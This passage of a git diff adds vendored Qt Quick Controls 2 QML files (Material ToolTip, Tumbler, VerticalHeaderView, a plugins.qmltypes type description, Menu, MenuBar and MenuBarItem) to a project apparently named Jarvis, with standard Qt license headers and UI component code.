further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Material 2.12 + +T.ToolTip { + id: control + + x: parent ? (parent.width - implicitWidth) / 2 : 0 + y: -implicitHeight - 24 + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) + + margins: 12 + padding: 8 + horizontalPadding: padding + 8 + + closePolicy: T.Popup.CloseOnEscape | T.Popup.CloseOnPressOutsideParent | T.Popup.CloseOnReleaseOutsideParent + + Material.theme: Material.Dark + + enter: Transition { + // toast_enter + NumberAnimation { property: "opacity"; from: 0.0; to: 1.0; easing.type: Easing.OutQuad; duration: 500 } + } + + exit: Transition { + // toast_exit + NumberAnimation { property: "opacity"; from: 1.0; to: 0.0; easing.type: Easing.InQuad; duration: 500 } + } + + contentItem: Text { + text: control.text + font: control.font + wrapMode: Text.Wrap + color: control.Material.foreground + } + + background: Rectangle { + implicitHeight: control.Material.tooltipHeight + color: control.Material.tooltipColor + opacity: 0.9 + radius: 2 + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/Tumbler.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/Tumbler.qml new file mode 100644 index 00000000..30d66c58 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/Tumbler.qml @@ -0,0 +1,76 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Material 2.12 + +T.Tumbler { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) || 60 // ### remove 60 in Qt 6 + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) || 200 // ### remove 200 in Qt 6 + + delegate: Text { + text: modelData + color: control.Material.foreground + font: control.font + opacity: (1.0 - Math.abs(Tumbler.displacement) / (control.visibleItemCount / 2)) * (control.enabled ? 1 : 0.6) + horizontalAlignment: Text.AlignHCenter + verticalAlignment: Text.AlignVCenter + } + + contentItem: TumblerView { + implicitWidth: 60 + implicitHeight: 200 + model: control.model + delegate: control.delegate + path: Path { + startX: control.contentItem.width / 2 + startY: -control.contentItem.delegateHeight / 2 + PathLine { + x: control.contentItem.width / 2 + y: (control.visibleItemCount + 1) * control.contentItem.delegateHeight - control.contentItem.delegateHeight / 2 + } + } + + property real delegateHeight: control.availableHeight / control.visibleItemCount + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/VerticalHeaderView.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/VerticalHeaderView.qml new file mode 100644 index 00000000..5fc5aebe --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/VerticalHeaderView.qml @@ -0,0 +1,69 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick.Controls 2.15 +import QtQuick.Templates 2.15 as T +import QtQuick.Controls.Material 2.15 +import QtQuick.Controls.Material.impl 2.15 + +T.VerticalHeaderView { + id: control + + implicitWidth: contentWidth + implicitHeight: syncView ? syncView.height : 0 + + delegate: Rectangle { + // Qt6: add cellPadding (and font etc) as public API in headerview + readonly property real cellPadding: 8 + + implicitWidth: Math.max(control.width, text.implicitWidth + (cellPadding * 2)) + implicitHeight: text.implicitHeight + (cellPadding * 2) + color: control.Material.backgroundColor + + Text { + id: text + text: control.textRole ? (Array.isArray(control.model) ? modelData[control.textRole] + : model[control.textRole]) + : modelData + width: parent.width + height: parent.height + horizontalAlignment: Text.AlignHCenter + verticalAlignment: Text.AlignVCenter + color: enabled ? control.Material.foreground : control.Material.hintTextColor + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/plugins.qmltypes b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/plugins.qmltypes new file mode 100644 index 00000000..e290e0ea --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/plugins.qmltypes @@ -0,0 +1,459 @@ +import QtQuick.tooling 1.2 + +// This file describes the plugin-supplied types contained in the library. +// It is used for QML tooling purposes only. +// +// This file was auto-generated by: +// 'qmlplugindump -nonrelocatable -dependencies dependencies.json QtQuick.Controls.Material 2.15' + +Module { + dependencies: ["QtQuick.Controls 2.0"] + Component { name: "QQuickAttachedObject"; prototype: "QObject" } + Component { + name: "QQuickItem" + defaultProperty: "data" + prototype: "QObject" + Enum { + name: "Flags" + values: { + "ItemClipsChildrenToShape": 1, + "ItemAcceptsInputMethod": 2, + "ItemIsFocusScope": 4, + "ItemHasContents": 8, + "ItemAcceptsDrops": 16 + } + } + Enum { + name: "TransformOrigin" + values: { + "TopLeft": 0, + "Top": 1, + "TopRight": 2, + "Left": 3, + "Center": 4, + "Right": 5, + "BottomLeft": 6, + "Bottom": 7, + "BottomRight": 8 + } + } + Property { name: "parent"; type: "QQuickItem"; isPointer: true } + Property { name: "data"; type: "QObject"; isList: true; isReadonly: true } + Property { name: "resources"; type: "QObject"; isList: true; isReadonly: true } + Property { name: "children"; type: "QQuickItem"; isList: true; isReadonly: true } + Property { name: "x"; type: "double" } + Property { name: "y"; type: "double" } + Property { name: "z"; type: "double" } + Property { name: "width"; type: "double" } + Property { name: "height"; type: "double" } + Property { name: "opacity"; type: "double" } + Property { name: "enabled"; type: "bool" } + Property { name: "visible"; type: "bool" } + Property { name: "visibleChildren"; type: "QQuickItem"; isList: true; isReadonly: true } + Property { name: "states"; type: "QQuickState"; isList: true; isReadonly: true } + Property { name: "transitions"; type: "QQuickTransition"; isList: true; isReadonly: true } + Property { name: "state"; type: "string" } + Property { name: "childrenRect"; type: "QRectF"; isReadonly: true } + Property { name: "anchors"; type: "QQuickAnchors"; isReadonly: true; isPointer: true } + Property { name: "left"; type: "QQuickAnchorLine"; isReadonly: true } + Property { name: "right"; type: "QQuickAnchorLine"; isReadonly: true } + Property { name: "horizontalCenter"; type: "QQuickAnchorLine"; isReadonly: true } + Property { name: "top"; type: "QQuickAnchorLine"; isReadonly: true } + Property { name: "bottom"; type: "QQuickAnchorLine"; isReadonly: true } + Property { name: "verticalCenter"; type: "QQuickAnchorLine"; isReadonly: true } + Property { name: "baseline"; type: "QQuickAnchorLine"; isReadonly: true } + Property { name: "baselineOffset"; type: "double" } + Property { name: "clip"; type: "bool" } + Property { name: "focus"; type: "bool" } + Property { name: "activeFocus"; type: "bool"; isReadonly: true } + Property { name: "activeFocusOnTab"; revision: 1; type: "bool" } + Property { name: "rotation"; type: "double" } + Property { name: "scale"; type: "double" } + Property { name: "transformOrigin"; type: "TransformOrigin" } + Property { name: "transformOriginPoint"; type: "QPointF"; isReadonly: true } + Property { name: "transform"; type: "QQuickTransform"; isList: true; isReadonly: true } + Property { name: "smooth"; type: "bool" } + Property { name: "antialiasing"; type: "bool" } + Property { name: "implicitWidth"; type: "double" } + Property { name: "implicitHeight"; type: "double" } + Property { name: "containmentMask"; revision: 11; type: "QObject"; isPointer: true } + Property { name: "layer"; type: "QQuickItemLayer"; isReadonly: true; isPointer: true } + Signal { + name: "childrenRectChanged" + Parameter { type: "QRectF" } + } + Signal { + name: "baselineOffsetChanged" + Parameter { type: "double" } + } + Signal { + name: "stateChanged" + Parameter { type: "string" } + } + Signal { + name: "focusChanged" + Parameter { type: "bool" } + } + Signal { + name: "activeFocusChanged" + Parameter { type: "bool" } + } + Signal { + name: "activeFocusOnTabChanged" + revision: 1 + Parameter { type: "bool" } + } + Signal { + name: "parentChanged" + Parameter { type: "QQuickItem"; isPointer: true } + } + Signal { + name: "transformOriginChanged" + Parameter { type: "TransformOrigin" } + } + Signal { + name: "smoothChanged" + Parameter { type: "bool" } + } + Signal { + name: "antialiasingChanged" + Parameter { type: "bool" } + } + Signal { + name: "clipChanged" + Parameter { type: "bool" } + } + Signal { + name: "windowChanged" + revision: 1 + Parameter { name: "window"; type: "QQuickWindow"; isPointer: true } + } + Signal { name: "containmentMaskChanged"; revision: 11 } + Method { name: "update" } + Method { + name: "grabToImage" + revision: 4 + type: "bool" + Parameter { name: "callback"; type: "QJSValue" } + Parameter { name: "targetSize"; type: "QSize" } + } + Method { + name: "grabToImage" + revision: 4 + type: "bool" + Parameter { name: "callback"; type: "QJSValue" } + } + Method { + name: "contains" + type: "bool" + Parameter { name: "point"; type: "QPointF" } + } + Method { + name: "mapFromItem" + Parameter { type: "QQmlV4Function"; isPointer: true } + } + Method { + name: "mapToItem" + Parameter { type: "QQmlV4Function"; isPointer: true } + } + Method { + name: "mapFromGlobal" + revision: 7 + Parameter { type: "QQmlV4Function"; isPointer: true } + } + Method { + name: "mapToGlobal" + revision: 7 + Parameter { type: "QQmlV4Function"; isPointer: true } + } + Method { name: "forceActiveFocus" } + Method { + name: "forceActiveFocus" + Parameter { name: "reason"; type: "Qt::FocusReason" } + } + Method { + name: "nextItemInFocusChain" + revision: 1 + type: "QQuickItem*" + Parameter { name: "forward"; type: "bool" } + } + Method { name: "nextItemInFocusChain"; revision: 1; type: "QQuickItem*" } + Method { + name: "childAt" + type: "QQuickItem*" + Parameter { name: "x"; type: "double" } + Parameter { name: "y"; type: "double" } + } + } + Component { + name: "QQuickMaterialBusyIndicator" + defaultProperty: "data" + prototype: "QQuickItem" + exports: ["QtQuick.Controls.Material.impl/BusyIndicatorImpl 2.0"] + exportMetaObjectRevisions: [0] + Property { name: "color"; type: "QColor" } + Property { name: "running"; type: "bool" } + } + Component { + name: "QQuickMaterialProgressBar" + defaultProperty: "data" + prototype: "QQuickItem" + exports: ["QtQuick.Controls.Material.impl/ProgressBarImpl 2.0"] + exportMetaObjectRevisions: [0] + Property { name: "color"; type: "QColor" } + Property { name: "progress"; type: "double" } + Property { name: "indeterminate"; type: "bool" } + } + Component { + name: "QQuickMaterialRipple" + defaultProperty: "data" + prototype: "QQuickItem" + exports: ["QtQuick.Controls.Material.impl/Ripple 2.0"] + exportMetaObjectRevisions: [0] + Enum { + name: "Trigger" + values: { + "Press": 0, + "Release": 1 + } + } + Property { name: "color"; type: "QColor" } + Property { name: "clipRadius"; type: "double" } + Property { name: "pressed"; type: "bool" } + Property { name: "active"; type: "bool" } + Property { name: "anchor"; type: "QQuickItem"; isPointer: true } + Property { name: "trigger"; type: "Trigger" } + } + Component { + name: "QQuickMaterialStyle" + prototype: "QQuickAttachedObject" + exports: ["QtQuick.Controls.Material/Material 2.0"] + isCreatable: false + exportMetaObjectRevisions: [0] + Enum { + name: "Theme" + values: { + "Light": 0, + "Dark": 1, + "System": 2 + } + } + Enum { + name: "Variant" + values: { + "Normal": 0, + "Dense": 1 + } + } + Enum { + name: "Color" + values: { + "Red": 0, + "Pink": 1, + "Purple": 2, + "DeepPurple": 3, + "Indigo": 4, + "Blue": 5, + "LightBlue": 6, + "Cyan": 7, + "Teal": 8, + "Green": 9, + "LightGreen": 10, + "Lime": 11, + "Yellow": 12, + "Amber": 13, + "Orange": 14, + "DeepOrange": 15, + "Brown": 16, + "Grey": 17, + "BlueGrey": 18 + } + } + Enum { + name: "Shade" + values: { + "Shade50": 0, + "Shade100": 1, + "Shade200": 2, + "Shade300": 3, + "Shade400": 4, + "Shade500": 5, + "Shade600": 6, + "Shade700": 7, + "Shade800": 8, + "Shade900": 9, + "ShadeA100": 10, + "ShadeA200": 11, + "ShadeA400": 12, + "ShadeA700": 13 + } + } + Property { name: "theme"; type: "Theme" } + Property { name: "primary"; type: "QVariant" } + Property { name: "accent"; type: "QVariant" } + Property { name: "foreground"; type: "QVariant" } + Property { name: "background"; type: "QVariant" } + Property { name: "elevation"; type: "int" } + Property { name: "primaryColor"; type: "QColor"; isReadonly: true } + Property { name: "accentColor"; type: "QColor"; isReadonly: true } + Property { name: "backgroundColor"; type: "QColor"; isReadonly: true } + Property { name: "primaryTextColor"; type: "QColor"; isReadonly: true } + Property { name: "primaryHighlightedTextColor"; type: "QColor"; isReadonly: true } + Property { name: "secondaryTextColor"; type: "QColor"; isReadonly: true } + Property { name: "hintTextColor"; type: "QColor"; isReadonly: true } + Property { name: "textSelectionColor"; type: "QColor"; isReadonly: true } + Property { name: "dropShadowColor"; type: "QColor"; isReadonly: true } + Property { name: "dividerColor"; type: "QColor"; isReadonly: true } + Property { name: "iconColor"; type: "QColor"; isReadonly: true } + Property { name: "iconDisabledColor"; type: "QColor"; isReadonly: true } + Property { name: "buttonColor"; type: "QColor"; isReadonly: true } + Property { name: "buttonDisabledColor"; type: "QColor"; isReadonly: true } + Property { name: "highlightedButtonColor"; type: "QColor"; isReadonly: true } + Property { name: "frameColor"; type: "QColor"; isReadonly: true } + Property { name: "rippleColor"; type: "QColor"; isReadonly: true } + Property { name: "highlightedRippleColor"; type: "QColor"; isReadonly: true } + Property { name: "switchUncheckedTrackColor"; type: "QColor"; isReadonly: true } + Property { name: "switchCheckedTrackColor"; type: "QColor"; isReadonly: true } + Property { name: "switchUncheckedHandleColor"; type: "QColor"; isReadonly: true } + Property { name: "switchCheckedHandleColor"; type: "QColor"; isReadonly: true } + Property { name: "switchDisabledTrackColor"; type: "QColor"; isReadonly: true } + Property { name: "switchDisabledHandleColor"; type: "QColor"; isReadonly: true } + Property { name: "scrollBarColor"; type: "QColor"; isReadonly: true } + Property { name: "scrollBarHoveredColor"; type: "QColor"; isReadonly: true } + Property { name: "scrollBarPressedColor"; type: "QColor"; isReadonly: true } + Property { name: "dialogColor"; type: "QColor"; isReadonly: true } + Property { name: "backgroundDimColor"; type: "QColor"; isReadonly: true } + Property { name: "listHighlightColor"; type: "QColor"; isReadonly: true } + Property { name: "tooltipColor"; type: "QColor"; isReadonly: true } + Property { name: "toolBarColor"; type: "QColor"; isReadonly: true } + Property { name: "toolTextColor"; type: "QColor"; isReadonly: true } + Property { name: "spinBoxDisabledIconColor"; type: "QColor"; isReadonly: true } + Property { name: "sliderDisabledColor"; revision: 15; type: "QColor"; isReadonly: true } + Property { name: "touchTarget"; type: "int"; isReadonly: true } + Property { name: "buttonHeight"; type: "int"; isReadonly: true } + Property { name: "delegateHeight"; type: "int"; isReadonly: true } + Property { name: "dialogButtonBoxHeight"; type: "int"; isReadonly: true } + Property { name: "frameVerticalPadding"; type: "int"; isReadonly: true } + Property { name: "menuItemHeight"; type: "int"; isReadonly: true } + Property { name: "menuItemVerticalPadding"; type: "int"; isReadonly: true } + Property { name: "switchDelegateVerticalPadding"; type: "int"; isReadonly: true } + Property { name: "tooltipHeight"; type: "int"; isReadonly: true } + Signal { name: "paletteChanged" } + Method { + name: "color" + type: "QColor" + Parameter { name: "color"; type: "Color" } + Parameter { name: "shade"; type: "Shade" } + } + Method { + name: "color" + type: "QColor" + Parameter { name: "color"; type: "Color" } + } + Method { + name: "shade" + type: "QColor" + Parameter { name: "color"; type: "QColor" } + Parameter { name: "shade"; type: "Shade" } + } + } + Component { + prototype: "QQuickItem" + name: "QtQuick.Controls.Material.impl/BoxShadow 2.0" + exports: ["QtQuick.Controls.Material.impl/BoxShadow 2.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + Property { name: "offsetX"; type: "int" } + Property { name: "offsetY"; type: "int" } + Property { name: "blurRadius"; type: "int" } + Property { name: "spreadRadius"; type: "int" } + Property { name: "source"; type: "QQuickItem"; isPointer: true } + Property { name: "fullWidth"; type: "bool" } + Property { name: "fullHeight"; type: "bool" } + Property { name: "glowRadius"; type: "double" } + Property { name: "spread"; type: "double" } + Property { name: "color"; type: "QColor" } + Property { name: "cornerRadius"; type: "double" } + Property { name: "cached"; type: "bool" } + } + Component { + prototype: "QQuickRectangle" + name: "QtQuick.Controls.Material.impl/CheckIndicator 2.0" + exports: ["QtQuick.Controls.Material.impl/CheckIndicator 2.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + Property { name: "control"; type: "QQuickItem"; isPointer: true } + Property { name: "checkState"; type: "int" } + } + Component { + prototype: "QQuickRectangle" + name: "QtQuick.Controls.Material.impl/CursorDelegate 2.0" + exports: ["QtQuick.Controls.Material.impl/CursorDelegate 2.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + } + Component { + prototype: "QQuickItem" + name: "QtQuick.Controls.Material.impl/ElevationEffect 2.0" + exports: ["QtQuick.Controls.Material.impl/ElevationEffect 2.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + Property { name: "source"; type: "QVariant" } + Property { name: "elevation"; type: "int" } + Property { name: "fullWidth"; type: "bool" } + Property { name: "fullHeight"; type: "bool" } + Property { name: "sourceItem"; type: "QQuickItem"; isReadonly: true; isPointer: true } + Property { name: "_shadows"; type: "QVariant"; isReadonly: true } + Property { name: "_shadow"; type: "QVariant"; isReadonly: true } + } + Component { + prototype: "QQuickRectangle" + name: "QtQuick.Controls.Material.impl/RadioIndicator 2.0" + exports: ["QtQuick.Controls.Material.impl/RadioIndicator 2.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + Property { name: "control"; type: "QQuickItem"; isPointer: true } + } + Component { + prototype: "QQuickItem" + name: "QtQuick.Controls.Material.impl/RectangularGlow 2.0" + exports: ["QtQuick.Controls.Material.impl/RectangularGlow 2.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + Property { name: "glowRadius"; type: "double" } + Property { name: "spread"; type: "double" } + Property { name: "color"; type: "QColor" } + Property { name: "cornerRadius"; type: "double" } + Property { name: "cached"; type: "bool" } + } + Component { + prototype: "QQuickItem" + name: "QtQuick.Controls.Material.impl/SliderHandle 2.0" + exports: ["QtQuick.Controls.Material.impl/SliderHandle 2.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + Property { name: "value"; type: "double" } + Property { name: "handleHasFocus"; type: "bool" } + Property { name: "handlePressed"; type: "bool" } + Property { name: "handleHovered"; type: "bool" } + Property { name: "initialSize"; type: "int"; isReadonly: true } + Property { name: "control"; type: "QVariant"; isReadonly: true } + } + Component { + prototype: "QQuickItem" + name: "QtQuick.Controls.Material.impl/SwitchIndicator 2.0" + exports: ["QtQuick.Controls.Material.impl/SwitchIndicator 2.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + Property { name: "control"; type: "QQuickItem"; isPointer: true } + Property { name: "handle"; type: "QQuickRectangle"; isReadonly: true; isPointer: true } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/qmldir new file mode 100644 index 00000000..870a0382 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/qmldir @@ -0,0 +1,4 @@ +module QtQuick.Controls.Material +plugin qtquickcontrols2materialstyleplugin +classname QtQuickControls2MaterialStylePlugin +depends QtQuick.Controls 2.5 diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/qtquickcontrols2materialstyleplugin.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/qtquickcontrols2materialstyleplugin.dll new file mode 100644 index 00000000..f06c2303 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/qtquickcontrols2materialstyleplugin.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Menu.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Menu.qml new file mode 100644 index 00000000..cf3a52f2 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Menu.qml @@ -0,0 +1,82 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Window 2.12 + +T.Menu { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) + + margins: 0 + overlap: 1 + + delegate: MenuItem { } + + contentItem: ListView { + implicitHeight: contentHeight + model: control.contentModel + interactive: Window.window + ? contentHeight + control.topPadding + control.bottomPadding > Window.window.height + : false + clip: true + currentIndex: control.currentIndex + + ScrollIndicator.vertical: ScrollIndicator {} + } + + background: Rectangle { + implicitWidth: 200 + implicitHeight: 40 + color: control.palette.window + border.color: control.palette.dark + } + + T.Overlay.modal: Rectangle { + color: Color.transparent(control.palette.shadow, 0.5) + } + + T.Overlay.modeless: Rectangle { + color: Color.transparent(control.palette.shadow, 0.12) + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/MenuBar.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/MenuBar.qml new file mode 100644 index 00000000..122cdc53 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/MenuBar.qml @@ -0,0 +1,63 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 + +T.MenuBar { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) + + delegate: MenuBarItem { } + + contentItem: Row { + spacing: control.spacing + Repeater { + model: control.contentModel + } + } + + background: Rectangle { + implicitHeight: 40 + color: control.palette.button + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/MenuBarItem.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/MenuBarItem.qml new file mode 100644 index 00000000..f6835412 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/MenuBarItem.qml @@ -0,0 +1,77 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 + +T.MenuBarItem { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding, + implicitIndicatorHeight + topPadding + bottomPadding) + + spacing: 6 + padding: 6 + leftPadding: 12 + rightPadding: 16 + + icon.width: 24 + icon.height: 24 + icon.color: control.palette.buttonText + + contentItem: IconLabel { + spacing: control.spacing + 